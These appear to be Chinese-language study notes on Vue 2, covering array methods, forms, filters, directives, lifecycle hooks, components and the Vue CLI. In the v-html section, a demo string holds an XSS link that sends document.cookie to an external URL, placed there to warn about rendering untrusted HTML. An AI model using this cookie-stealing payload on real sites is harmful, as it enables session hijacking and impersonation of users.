- Vue的数组方法名和ES中普通数组方法名是一样的,只是Vue对其进行了包装处理(实际上包装就是先调用原生ES对应的方法对数组进行更新,然后再重新更新模板,更新页面)
- 方法:
push
(数组最后追加元素),pop
(数组删除最后一个元素),shift
(数组删除第一个元素),unshift
(数组最前追加元素),splice
(从下标x开始删除n个元素),sort
(排列数组),reverse
(颠倒数组)
<body>
<div id="root">
<button @click="push">push数组最后追加3</button>
<button @click="pop">pop数组删除最后一个元素</button>
<button @click="shift">shift数组删除第一个元素</button>
<button @click="unshift">unshift数组最前追加4</button>
<button @click="splice">splice数组删除第1个元素</button>
<button @click="sort">sort数组从小到大排列</button>
<button @click="reverse">reverse颠倒数组</button>
<ul>
<li v-for="(item,index) in arr" :key="index">
{{item}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
arr: ['1', '2']
},
methods: {
push() {
this.arr.push('3')
},
pop() {
this.arr.pop()
},
shift() {
this.arr.shift()
},
unshift() {
this.arr.unshift('4')
},
splice() {
this.arr.splice(0, 1)
},
sort() {
this.arr.sort(function (a, b) {
return a - b;
})
},
reverse() {
this.arr.reverse()
}
}
})
</script>
测试:测试前5个按钮,一次点击,效果如下
总结:
- 当Vue实例创建时,Vue会监测data中的所有层次的数据(除了数组,无论是对象的对象,还是数组中的对象,无论有几层嵌套关系,都会生成
getter
和setter
) - Vue通过自动添加
getter
和setter
对数据进行监测,若是后追加的属性,Vue提供Vue.set
(vm.$set
)方法给程序员手动为它们添加getter
和stter
- Vue通过包装数组的七个更新方法,实现对数组的监视,本质上做了两件事:Ⅰ.调用原生的对应方法对数组进行更新 Ⅱ.重新解析模板,更新页面
- 修改数组中的某个元素只能使用:数组的七个更新方法或者Vue提供
Vue.set
(vm.$set
)方法
特别注意:Vue提供Vue.set
(vm.$set
)方法不能给vm
或vm
的根数据对象_data
添加属性!
收集表单数据
在我们写用户填写的表单时(eg:注册表单),我们常需要用到Vue一些细节特性
-
若
<input type="text"/>
,则v-model
收集的是value值 -
若
<input type="radio"/>
,则v-model
收集的是value值,且需要给标签配置value值 -
若
<input type="chackbox"/>
:1.没有配置input的value属性,那么收集的就是checked值(勾选 of 未勾选,是bool值) 2.配置了input的value属性: Ⅰ.v-model的初始值是非数组,那么收集的就是checked值(勾选 of 未勾选,是bool值) Ⅱ.v-model的初始值是数组,那么收集的就是勾选标签对应的value值组成的数组
-
备注:v-model的三个修饰符:
lazy:标签失去焦点再收集数据
number:输入字符串转为number类型
trim:过滤首尾空格
例:
<body>
<div id="root">
<!-- ↓ 提交表单时触发事件,调用demo方法 -->
<form @submit.prevent="demo"> <!-- ↓ 使用trim修饰符,去除前后的空格 -->
账号:<input type="text" v-model.trim="userInfo.account"><br><br>
密码:<input type="password" v-model="userInfo.password"><br><br>
年龄:<input type="number" v-model.number="userInfo.age"><br><br>
性别: <!-- ↑ Html5属性,只能填数字 ↑ Vue的number修饰符,Vue收到的数据改为number类型(默认收到字符串类型) -->
男<input type="radio" name="sex" value="male" v-model="userInfo.sex">
女<input type="radio"name="sex" value="female" v-model="userInfo.sex"><br><br>
爱好: <!-- ↑ radio单选框指定value属性 -->
学习<input type="checkbox" v-model="userInfo.hobby" value="learn">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="play">
睡觉<input type="checkbox" v-model="userInfo.hobby" value="sleep"><br><br>
所属校区 <!-- ↑ checkbox复选框指定value属性 -->
<select v-model="userInfo.schoolCity">
<option value="">请选择校区</option>
<option value="sz">深圳</option>
<option value="bj">北京</option>
<option value="wh">武汉</option>
<option value="sh">上海</option>
</select><br><br>
其他信息: <!-- ↓ Vue的lazy修饰符,当标签失去焦点时,再更新Vue实例中的数据 -->
<textarea v-model.lazy="userInfo.other"></textarea><br><br>
<input type="checkbox" v-model="userInfo.agree">阅读并接受用户协议<a href="http://www.baidu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
userInfo:{
account:'',
password:'',
age:'',
sex:'',
hobby:[], // 复选框对应的Vue数据属性,若为数组类型,接收复选框中勾选的value值;若为字符串类型,接收checked是否勾选的bool值
schoolCity:'',
other:'',
agree:'' // 复选框对应的Vue数据属性,若为数组类型,接收复选框中勾选的value值;若为字符串类型,接收checked是否勾选的bool值
}
},methods: {
demo(){
console.log(JSON.stringify(this.userInfo));
}
},
})
</script>
测试:
过滤器
-
作用:对要显示的数据进行特定的格式化后再进行显示(eg:1999元 ==> 1,999元 )
-
语法:
// ↓ 全局过滤器 ↓ 局部过滤器 1.注册过滤器:Vuefilter(name,callback) 或 new Vue{filters:{ name(){} }} 2.使用过滤器:{{ xxx | 过滤器名 }} 或 v-bind:属性 = " xxx | 过滤器名 "
-
过滤器并没有改变原来的数据,只是通过计算展示计算后的数据;同时过滤器可以串联,也就是
{{ xxx | 过滤器1 | 过滤器2 | ... }}
局部过滤器
局部过滤器只在当前Vue实例(或者组件)中有效
例:
<body>
<div id="root"> <!-- ↓ 管道符("|")会将前面的数据作为后面过滤器的第一个参数传给过滤器,返回过滤器的返回值 -->
<h1>价格:{{ price | addPriceIcon}}</h1>
<div :class=" price | addPriceIcon ">看我的标签属性</div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
// 创建Vue实例
const vm = new Vue({
el: '#root',
data: {
price: 1999
},
filters:{
addPriceIcon(value){
return '¥' + value;
}
}
})
</script>
结果:
过滤器串联
若多个过滤器串联:
<body>
<div id="root">
<h1>价格:{{ price | addPriceIcon | addYuan}}</h1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
// 创建Vue实例
const vm = new Vue({
el: '#root',
data: {
price: 1999
},
filters:{
addPriceIcon(value){
return '¥' + value;
},
addYuan(value){
return value + "元";
}
}
})
</script>
结果:
全局过滤器
全局过滤器对所有Vue实例(或组件)都有效
例:
<body>
<div id="root">
<h1>价格:{{ price | addPriceIcon }}</h1>
<div :class=" price | addPriceIcon ">看我的标签属性</div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
// 定义全局过滤器
Vue.filter('addPriceIcon',(value) => {
return '¥' + value;
})
// 创建Vue实例
const vm = new Vue({
el: '#root',
data: {
price: 1999
}
})
</script>
效果:
(补充)在实际开发中,全局过滤器经常会被在数据(比如时间、日期的装饰)上边,通常我们会把处理函数给抽离出去,统一放在一个.js文件中,下边用代码说下
//filter.js 文件
let filter_price = function (val,...params){
return "¥" + val
}
let filter_date = function (){
return "2019/10/20" + val
}
export {filter_price,filter_date} //导出过滤函数
下边在main.js中 导入 上边 filter.js文件 ,当然你也可以在任何组件中导入 filter.js这个文件,但是对于全局过滤器来说,最好是在main.js中定义,规范些,导入的是一个对象,所以使用Object.keys()方法,得到一个由key组成的数组,遍历数据,让key作为全局过滤器的名字,后边的是key对应的处理函数,这样在任何一个组件中都可以使用全局过滤器了
//main.js
//下边是2种导入方式,推荐第一种
import * as _filter from './filters/filter'
// import {filter_price,filter_date} from './filters/filter'
// 定义全局过滤器
Object.keys(_filter).forEach(item=>{
Vue.filter(item,_filter[item])
})
指令
指令用于操作标签元素,其分为内嵌指令和自定义指令;所谓内嵌指令,就是Vue自己的指令,其目的是让Vue的使用者尽可能不自己操作底层元素,而是让Vue操作;所谓自定义指令,实际上就是Vue使用者自己定义的指令,方便自己对底层标签元素的操作;
指令的两种形式:
1.有值指令: <div v-指令名="属性值" ></div>
2.无值指令: <div v-指令名 ></div>
内嵌指令
指令 | 说明 |
---|---|
v-bind | 单向数据绑定,可简写为:属性名="属性值" |
v-model | 双向数据绑定,绑定属性名必须为value,用于表单元素,可简写为v-model="属性值" |
v-for | 遍历数组/对象/字符串 |
v-on | 绑定监听事件,可简写为@事件触发条件="事件处理函数" |
v-if | 条件渲染(动态控制结点是否存在) |
v-else | 条件渲染(动态控制结点是否存在) |
v-show | 条件渲染(动态控制结点是否展示) |
v-text | 将属性值以文本的形式,替换标签中的内容,内容中的标签无法解析 |
v-html | |
v-cloak (无值指令) | |
v-once | |
v-pre (无值指令) |
v-text / v-html 指令
v-text
- 作用:其所在节点中渲染文本内容,内容中的标签无法解析
- 与插值语法的区别:v-text会替换节点中所有的内容,插值语法不会
- 附:原本节点中具有的内容会被替换
例:
<body>
<div id="root">
<div v-text="name">名字</div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
// 创建Vue实例
const vm = new Vue({
el: '#root',
data: {
name:'Bokey'
}
})
</script>
结果:
v-html
-
作用:向指定的节点中渲染包含html标签的内容
-
与插值语法的区别:Ⅰ.v-html会替换节点中所有的内容,插值语法不会 Ⅱ.可以识别html标签
-
注意:v-html具有安全性问题
1.在网站上动态渲染任意html是非常危险的,容易导致XSS攻击(冒充用户攻击) 2.一定到在可信的内容上使用v-html,永远不要在用户可以提交的内容上使用!
例:
<body>
<div id="root">
<div v-html="name">HTML结构</div>
<div v-html="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
// 创建Vue实例
const vm = new Vue({
el: '#root',
data: {
name:'<h1>Bokey</h1>', // ↓ 这里以百度为例子,实际攻击需要填入攻击性网站,通过携带参数document.cookie,把我们现在访问这个网站的全部cookie带给了攻击性网站
str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟,点我,我就能得到你的Cookie冒充你</a>'
}
})
</script>
结果:
随后,创建两个Cookie:
点击超链接:
v-cloak指令
- 用于配合Css解决网速慢时,页面展示出
{{xxx}}
的问题 - 本质是一个特殊指令,Vue实例创建完毕并接管容器后,会将
v-cloak
属性从标签中删除
例:
<style>
[v-cloak] {
display: none;
}
</style>
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<!-- 这里引入本地的Vue,所以不会出现卡顿,但实际情况中是可能出现卡顿的,注释掉下面这一行就能看到出现卡顿时页面的效果 -->
<script type="text/javascript" src="./Vue_js/vue.js"></script>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
name:'Bokey'
}
})
</script>
由于无法模拟网络卡顿,这里用文本描述:
上面代码当网速较慢时,用户可能会先看到{{name}},等到Vue引入完成并解析了容器后,才能看到数据Bokey;
若不希望这样,可以添加v-cloak属性,并使用CSS对其display:none;
当Vue没完成解析容器前,h2标签不会显示;解析完容器后,v-cloak属性消失,展示数据Bokey
t-once指令
t-once
所在的节点在初次动态渲染后,就视为静态内容,能保持数据最原本的模样- 以后数据的改变不会引起
v-once
所在节点的更新,可用于优化性能
例:
<body>
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n++</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
n:1
}
})
</script>
测试:
v-pre指令
- 跳过所在节点的Vue编译过程
- 可利用它跳过:没有使用指令语法,没有使用插值语法的节点,加快编译
例:
<body>
<div id="root">
<h2 v-pre>n值:{{n}}</h2>
<h2>n值:{{n}}</h2>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
n:1
}
})
</script>
结果:
自定义指令
自定义指令实际上就是为原生操作DOM的过程进行封装,方便我们以后使用
声明方式
-
自定义局部指令:
// 配置对象方式: new Vue({ direactives:{ /*指令名*/:/*配置对象*/ } }) // 回调函数方式: new Vue({ direactives:{ /*指令名*/:/*回调函数*/ } })
-
自定义全局指令:
// 配置对象方式: Vue.direactive(/*指令名*/,/*配置对象*/) // 回调函数方式: Vue.direactive(/*指令名*/,/*回调函数*/)
配置对象中常用的3个回调
- bind:指令与元素成功绑定后调用(初始化)
- inserted:指令所在元素被插入页面时调用
- update:指令所在模板结构被重新解析时调用(更新渲染,也就是
vm._data
中数据有变化,无论和该指令是否有关) 注意:并不是指令所用到数据改变时!
附:
1.指令定义时不加v-,指令使用时再加v-
2.指令名若为多个单词,不能使用camelCase驼峰命名法(eg:myName),转而使用kebab-case命名法(eg:my-name)
下面我们以自定义局部指令为例,讲解配置对象方式和回调函数方式的一些差异(实际上,就是配置对象方式能处理更细微的功能;回调函数方式更简洁,但无法处理一些细节问题):
回调函数方式自定义
例1(回调函数方式定义指令):
<!-- 自定义v-big组件,功能:将属性值中的数放大10倍放在标签中 -->
<body>
<div id="root">
<h2>当前的n值:<span v-text="n"></span></h2>
<h2>放大十倍后的n值:<span v-big="n"></span></h2>
<button @click="n++">点击n++</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
n:1
},
// 自定义组件
directives:{
// 回调函数方式:
// ↓ 第一个参数是指令所在节点的真实DOM元素,也就是<span></span> 第二个参数是指令的参数,以对象的形式放在第二个参数
big(element,binding){
console.log(element);
console.log(binding); // ↓ 提取指令参数的vlue
element.innerText = binding.value * 10
}
}
})
</script>
结果:
点击n++按钮(可以看到big函数又调用了一次)
因此得到结论:
回调函数方式定义指令,函数触发时机:
1.指令与元素成功绑定后调用(初始化)
2.指令所在的模板被重新解析时调用(更新渲染,也就是`vm._data`中数据有变化,无论和该指令是否有关) 注意:并不是指令所用到数据改变时!
不足:
但回调函数方法不能在指令所在元素被插入页面时调用,因此,一些功能它无法实现:
<!-- 自定义v-fbind指令,功能:可以让其所绑定的input元素默认获取焦点 -->
<body>
<div id="root">
<input type="text" v-fbind:value="n">
<button @click="n++">n++</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
n: 1
},
directives: {
fbind(element, binding) {
element.value = binding.value
element.focus() // 聚焦
}
}
})
</script>
结果:input框并没有聚焦
点击n++按钮后,才成功聚焦
原因:
fbind函数在下面两种情况下被调用:
1.指令与元素成功绑定后调用(初始化)
2.指令所在的模板被重新解析时调用
情况1调用时,input框没有插入页面,因此无法使用element.focus()进行聚焦(元素都还不在页面上,怎么聚焦呢?)!
点击按钮触发情况2,调用fbind,此时input框在页面上,所以成功聚焦
因此,若指令需要在所在元素被插入页面时有操作,就只能使用配置对象式定义指令
配置对象方式自定义
例2(配置对象式定义指令):
<!-- 自定义v-fbind指令,功能:可以让其所绑定的input元素默认获取焦点 -->
<body>
<div id="root">
<input type="text" v-fbind:value="n"/>
<!-- 多个单词组成的指令使用 ↓ -->
<!-- <input type="text" v-big-number:value="n"/> -->
<button @click="n++">n++</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
n: 1
},
directives: {
fbind: {
// 指令与元素成功绑定后调用(初始化)
bind(element, binding) {
element.innerText = binding.value
},
// 指令所在元素被插入页面时调用
inserted(element, binding) {
element.focus() // 聚焦
},
// 指令所在模板结构被重新解析时调用(更新渲染,也就是`vm._data`中数据有变化,无论和该指令是否有关) 注意:并不是指令所用到数据改变时!
update(element, binding) {
element.innerText = binding.value
}
},
// 命名:kebab-case命名法
'big-number':{
// 指令设置...
}
}
})
</script>
结果:成功默认聚焦(input框中的n不见了,目前不知道为什么)
总结
注意事项:
- 所有自定义指令相关的
this
指针,不是vm
是window
(因为自定义指令实际上就是用户操作DOM,而不是操作Vue实例)! - 命名规则使用
kebab-case
命名法 - 若指令需要在所在元素被插入页面时有操作,就只能使用配置对象式定义指令
Vue实例的生命周期
Vue实例从诞生到结束有着几个特殊的时间点,在这些特殊的时间点,Vue为用户提供了生命周期回调函数(生命周期钩子函数);因此,用户可以使用这些函数,在特殊的时间点做特殊的事
将上图整理成文字:
Vue实例的生命周期:
// beforeCreate() -- 这时候无法通过vm调用到vm._data中的数据和vm.methods中的方法(因为还没产生,但vm这时候是存在的!)
vm._data的创建(也就是数据代理,数据监测的产生)
// created() -- 这时候vm._data产生了,可以调用vm._data和vm.methods中的方法
↓ (生成虚拟DOM保存在内存中,此时页面的插值语法正展示为"{{Vue数据名称}}"的形式;下面进入第一次编译页面,生成第一次的虚拟DOM和页面挂载渲染)
// beforeMount() -- 这时候页面呈现未经Vue编译的DOM结构,这时期所有对DOM的操作都会被Vue编译覆盖
将内存中保存的虚拟DOM挂载到页面上,此时页面的插值语法已经展示为"Vue数据值"的形式
// Mounted() -- 重点!这时期页面呈现经过Vue编译的DOM结构,适合做初始化操作(开启定时器,发送网络请求,订阅消息,绑定自定义事件...)
↓ (此时Vue实例算是真正诞生了,下面进入监听数据更新模板阶段)
// beforeUpdate() -- 这时候数据是新数据,但还未生成虚拟DOM,也还没更新到页面上;也就是页面还没和数据同步
根据新数据,生成新的虚拟DOM,再使用Diff算法和真实DOM进行比较,最终完成页面更新;也就是Model -> view的更新
// updated() -- 这时候数据是新数据,页面数据也更新成了新数据;也就是页面和数据同步
↓ (当使用了`vm.$destroy()`方法,或者其他销毁Vue实例的方法,Vue实例进入销毁阶段)
// beforeDestroy() -- 重点!这时候Vue的所有数据和方法都还是可用状态,但马上要进入销毁过程,适合做收尾操作(关闭定时器,取消订阅消息,解绑自定义事件...)
Vue实例销毁 // ↑ 在beforeDestroy()中操作数据不会触发更新!
// destroyed() -- Vue实例已经被销毁
注意:
- 生命周期函数中的**
this
指向是vm
或组件实例对象** - 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
- Vue实例销毁后自定义事件会失效,但原生DOM事件依然有效(现在销毁组件,原生DOM也一起销毁了,浏览器开发人员工具可以看到click事件被移除了)
- 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程
附:
在create和mounted钩子函数中,无法使用
this.$route.path
正确访问当前路径,值都为/
解决方法:
使用定时器,在定时器的回调函数中使用
this.$route.path
,其值就是真正的当前路径
使用方法:
<body>
<div id="root"></div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
// template在容器未知插入它的内容(顶替容器!在选然后的结构中看不到div的id:root,看得到的只是template的内容)
// template内容中必须要用标签包裹整个内容(eg:div包裹整个内容),包裹的标签不能是<template>标签
template:`
<div>
<h2>n的值:{{n}}</h2>
<button @click="update">n++</button>
<button @click="delVue">销毁Vue实例</button>
</div>
`,
data: {
n: 1
},
methods: {
update(){ // 更新函数
console.log('n++了,页面开始更新!');
this.n++
}, // 销毁函数
delVue(){
console.log('调用dlVue函数了!Vue实例开始自杀!');
this.$destroy()
}
},
// Vue的生命周期:
beforeCreate() {
console.log('beforeCreate')
},
created() {
console.log('created')
},
beforeMount() {
console.log('beforeMount')
},
mounted() {
console.log('mounted')
},
beforeUpdate() {
console.log('beforeUpdate')
},
updated() {
console.log('updated')
},
beforeDestroy() {
console.log('beforeDestroy')
},
destroyed() {
console.log('destroyed')
},
})
</script>
结果:
结构:
Vue组件
使用Vue,就相当于使用了组件化编程,那么什么是组件化编程呢?
但传统的编写方式依赖关系复杂,css
,html
和js
文件相互独立,在需要时引入;虽然也能实现代码复用,没有什么严重的问题,但有两点特别恶心人:
- JS文件的依赖关系难以维护(这个JS使用了另一个JS中定义的数据或方法,就需要在这个JS前先引入另一个JS,JS文件依赖关系一多,就很难受)
- CSS文件更改样式,需要考虑哪个HTML文件引用了它,它的改变会引起哪些结构变化
因此引入组件化编程,将html
,css
和js
文件整合化,它们负责页面的某一块内容
组件的定义:
- 实现应用中局部功能代码和资源的集合
组件分为两种:
1.非单文件组件 -> 一个文件中有多个组件,文件后缀可以是`.html`,`.js`或者其他
2.单文件组件 -> 一个文件中只有一个组件,文件后缀只能是`.vue`
非单文件组件
基本使用
Vue中使用组件的三大步骤:
- 定义组件(创建组件)
- 注册组件
- 使用组件(写组件标签)
一、如何定义一个组件? // ↓ options为配置对象
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,
但区别如下:
1.el属性不能写
2.data属性必须写成函数
备注:使用template可以配置组件结构。
二、如何注册组件?
1.局部注册:靠new Vue或Vue.extend({})的时候传入components选项,局部注册的组件只有在该Vue实例或该组件中生效
2.全局注册:靠Vue.component( '组件名',组件),全局注册的组件对所有Vue实例和组件都有效
三、编写组件标签:
`<school></school>`
/*
附:
为什么组件不能写el?
答:组件不能指定为哪个容器服务,组件服务于注册了它的组件或者Vue实例(vm);这也是组件和Vue实例(vm)的重要区别,组件在我们后面的笔记中使用简写称为vc
为什么data必须写成函数?
答:当这个组件在两个位置被使用,其中一个组件的data数据改变了,不希望另一个位置的组件的data数据也改变;也就是当组件在两个位置被使用,希望它们使用的数据不是同一个数据,因此data属性只能使用函数,每次返回不同对象;若这里没看懂下面有例子;
*/
只能将data属性写成函数的原因:
const object_data = {
x: 1
}
const function_data = function () {
return {
x: 1
}
}
// data定义成对象
const vc1 = object_data
const vc2 = object_data
// data定义成函数
const vc3 = function_data()
const vc4 = function_data()
测试:
定义组件:
<body>
<div id="root">
<Bokey></Bokey> <!-- 挂载局部组件,直接使用组件注册名作为标签名 -->
<test></test> <!-- 挂载全局组件,直接使用组件注册名作为标签名 -->
</div>
</body>
<script type="text/javascript">
// 定义组件Bokey
const Bokey = Vue.extend({
// 定义组件结构
template:`
<div>
<h1>我是{{name}},年龄:{{age}},性别:{{sex}}</h1>
</div>
`,
// 定义数据,注意使用函数式!
data(){
return {
name:'Bokey',
age:20,
sex:'man'
}
}
})
// 定义组件test
const test = Vue.extend({
template:`
<div>
我是全局组件!
</div>
`
})
// 全局注册组件 ↓组件注册名 ↓组件名
Vue.component('test',test)
// 创建vm
const vm = new Vue({
el:'#root', // Vue实例(vm)才可以使用el属性
data:{ // Vue实例(vm)才能使用对象式定义数据
id:'Vue实例(vm)的数据...'
},
// 注册组件
components:{
Bokey // 简写形式(当注册注册名和组件名相同时可用,这是常用写法)
// Bokey:Bokey ← "组件注册名":"组件名"形式
}
})
</script>
结果:
几个注意点:
/*
1.关于组件名:
一个单词组成:
第一种写法(首字母小写):school
第二种写法(首字母大写):School
多个单词组成:
第一种写法(kebab-case命名):my-school
第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)
备注:
(1).组件名尽可能回避HTML中已有的元素名称,例如: h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
2.关于组件标签:
第一种写法:<school></school>
第二种写法:<school/>
备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
3.一个简写方式(重要!): 简写方式其实就是定义组件时,直接将组件定义为一个对象
const school = Vue.extend(options)可简写为: const school = options
*/
定义组件简写方式(以上例中test
组件为例):
const test = {
template: `
<div>
我是全局组件!
</div>
`
}
// 使用简写属性后,若注册组件使用了该对象(test),Vue会自动帮我们调用Vue.extend(test),将它创建成组件!
组件嵌套
顾名思义,就是组件中还有组件
<body>
<div id="root">
<app></app>
</div>
</body>
<script type="text/javascript">
// 定义组件test,注意需要在父组件Bokey的上方定义
const test = {
template: `
<div>
我是全局组件!
</div>
`
}
// 定义组件Bokey
const Bokey = Vue.extend({
template: `
<div>
<h1>我是{{name}},年龄:{{age}},性别:{{sex}}</h1>
<test/>
</div>
`,
data() {
return {
name: 'Bokey',
age: 20,
sex: 'man'
}
},
components: {
test // 注册子组件
}
})
// 定义App组件,管理所有组件
const app = Vue.extend({
template:`
<div>
<Bokey/>
</div>
`,
components:{
Bokey
}
})
// 创建vm
const vm = new Vue({
el: '#root',
data: {
id: 'Vue实例(vm)的数据...'
},
// 注册组件
components: {
app
}
})
</script>
结果:
Vue组件实例对象
所谓的Vue组件实例对象,在Vue源码中称为VueComponent
,我习惯称它为vc
关于VueComponent:
控制台输出上例的Bokey
组件变量:
Vue.extend()
的源码:
也就是说,每次调用Vue.extend()
所返回的VueComponent
(组件实例对象vm
)都是现场定义后返回的!即每次调用Vue.extend
,返回的都是一个全新的VueComponent
/*
1.我们定义的组件(调用Vue.extend({option})后的返回值)本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
2.我们只需要写<Bokey/>或<Bokey></Bokey>,Vue解析时会帮我们创建school组件的实例对象,
即Vue帮我们执行的: new VueComponent(options)。
3.特别注意(重要!):每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
4.关于this指向(重要!):
(1).组件配置中:
data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【VueComponent实例对象】
(2).new Vue()配置中:
data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【Vue实例对象】
5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
Vue的实例对象,以后简称vm。
*/
重要的内置关系
- 一个重要的内置关系:
VueComponent.prototype._proto_ == Vue. prototype
- 为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性、方法
// 注意:vc就是一个小型的vm,只是跟vm比有一定的区别,不能配置el,data不能直接写对象形式而是函数形式!
单文件组件
由于非单文件组件中是不支持写样式的,所以我们常用的是单文件组件。
单文件组件写在.vue
文件中,基本结构为:
<template>
<!-- 组件结构 -->
</template>
<script>
export default { // 将组件暴露出去,以便接收使用
// 组件的JS逻辑
}
</script>
<style>
/* 组件样式 */
</style>
以上面的Bokey
组件为例:
<template>
<div class="demo">
<h1>我是{{ name }},年龄:{{ age }},性别:{{ sex }}</h1>
</div>
</template>
<script>
export default {
data() {
return {
name: "Bokey",
age: 20,
sex: "man",
};
},
};
</script>
<style>
.demo {
background-color: #fff;
}
</style>
但是需要注意的是,.vue
文件中不允许写new Vue()
方法,因为它是组件实例(vm)文件,并不是Vue实例(vm)文件;那么我们的Vue实例应该定义在哪里呢?
实际上,我们一般使用脚手架去封装Vue,为了更方便将`.vue`文件编译成浏览器识别的代码(HTML,CSS,JS);
Vue脚手架
Vue脚手架(command line interface
)是Vue官方提供的标准化开发工具(开发平台),是Vue.js
开发的标准工具
下载并创建项目
1.全局安装@Vue/cli
,此操作只用一次,下载一次后就不用再下了,使用命令:
npm install -g @vue/cli
附:
- 最好在安装前配置npm淘宝镜像:使用命令
npm config set registry https://registry.npm.taobao.org
- 下载过程中若卡住可以敲回车继续下载,卡死了就关闭
cmd
重下
使用vue
命令查看Vue脚手架的安装:
2.在创建项目的目录下,使用命令创建项目:
vue create /* 项目名 */
// 附:下载过程中若卡住可以敲回车继续下载,卡死了就关闭`cmd`重下
随后,选择创建的脚手架的Vue版本(注意不是脚手架版本,图中脚手架版本是5.0.8
)
成功创建:
3.启动项目,按照蓝色提示,先cd到该文件夹内,使用命令npm run serve
启动项目
完成访问
脚手架的目录结构
创建的脚手架的基本目录结构:
打开package.json
文件,找到下面代码:
// 这里配置cmd命名框的命令
"scripts": {
"serve": "vue-cli-service serve", // 启动Vue项目,开启服务器
"build": "vue-cli-service build", // 构建Vue项目,将.vue文件编译成.html,.css和.js文件(一般用在项目上线的最后一次编译)
"lint": "vue-cli-service lint" // 语法检查命令,比较少用,用于检查代码中一些不合理的编写方式
}
打开node_modules/vue/dist
目录,可以看到很多个Vue的JS文件
其中我们重点了解vue.js
和vue.runtime.xxx.js
:
vue.js
是Vue
的完整版文件包括Vue
的核心功能 + 模板解析器(解析HTML的驱动)vue.runtime.xxx.js
是运行版本的Vue
,只包含Vue
的核心功能,不包含模板解析器
由于项目使用webpack打包后,所有的模板都已经编译为.html,.css和.js文件了,并不需要我们的模板解析器;而Vue模板解析器的体积占了整个Vue的1/3,所以Vue默认使用Vue.runtime.xxx.js这个只有Vue核心的JS文件
打开main.js
入口文件:
// 引入Vue 这里实际上引入Vue.runtime,xxx,js
import Vue from 'vue'
// 引入App组件,组件管理器
import App from './App.vue'
// 关闭Vue的生产提示
Vue.config.productionTip = false
// Vue实例对象(vm)
new Vue({
render: h => h(App), // 将App组件放入容器
}).$mount('#app') // 使用vm.$mount()指定Vue实例(vm)的el属性,指定容器
因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容。
开打inde.html
,我们进行一些小分析:
<!DOCTYPE html>
<html lang="">
<head>
<meta charset="utf-8">
<!-- 针对IE浏览器的一个特殊配置,让IE浏览器以最高渲染级别渲染页面,IE8及一下不支持 -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- 开启移动端的理想视口 -->
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<!-- 配置页签图标 ↓ <%= BASE_URL %>表示public目录下 -->
<link rel="icon" href="<%= BASE_URL %>favicon.ico">
<!-- 配置网页标题 -->
<title><%= htmlWebpackPlugin.options.title %></title>
</head>
<body>
<!-- noscript标签作用:若浏览器不支持JS,显示标签内容 -->
<noscript>
<strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
</noscript>
<!-- 容器 -->
<div id="app"></div>
<!-- built files will be auto injected -->
</body>
</html>
脚手架的配置在vue.config.js
文件中进行,详细的配置查看官网:https://cli.vuejs.org/zh/config/
标签的ref
属性
- 作用:标签中的
ref
属性用来给标签元素或子组件注册引用标记(相当于原生的id
属性) - 语法:使用
<h1 ref="xxx"></h1>
或者<School ref="xxx"/>
标记,使用this.$refs.xxx
获取元素的真实DOM元素或子组件的组件实例对象(vm)
例:
Bokey
组件:
<template>
<div>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
</div>
</template>
<script>
export default {
name:'MyBokey',
data() {
return {
name:'Bokey',
age:18
}
},
}
</script>
App
组件:
<template>
<div id="app">
<h1 ref="h1">你好</h1>
<MyBokey ref="Bokey"/>
<button @click="show">点我输出获取的元素</button>
</div> <!-- ↑ 绑定点击事件输出 -->
</template>
<script>
// 引入MyBokey组件
import MyBokey from './components/Bokey.vue'
export default {
name: 'App',
components: {
MyBokey
},
methods:{
// 点击事件
show(){
console.log(this.$refs.Bokey) // 输出
console.log(this.$refs.h1); // 输出
}
}
}
</script>
结果:
组件通信
props
属性
-
作用:用于组件通信,适用于
父组件 ==> 子组件
(虽然也可以实现子传父,但子传父亲一般用自定义事件) -
注意:
props
属性为只读属性,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告; -
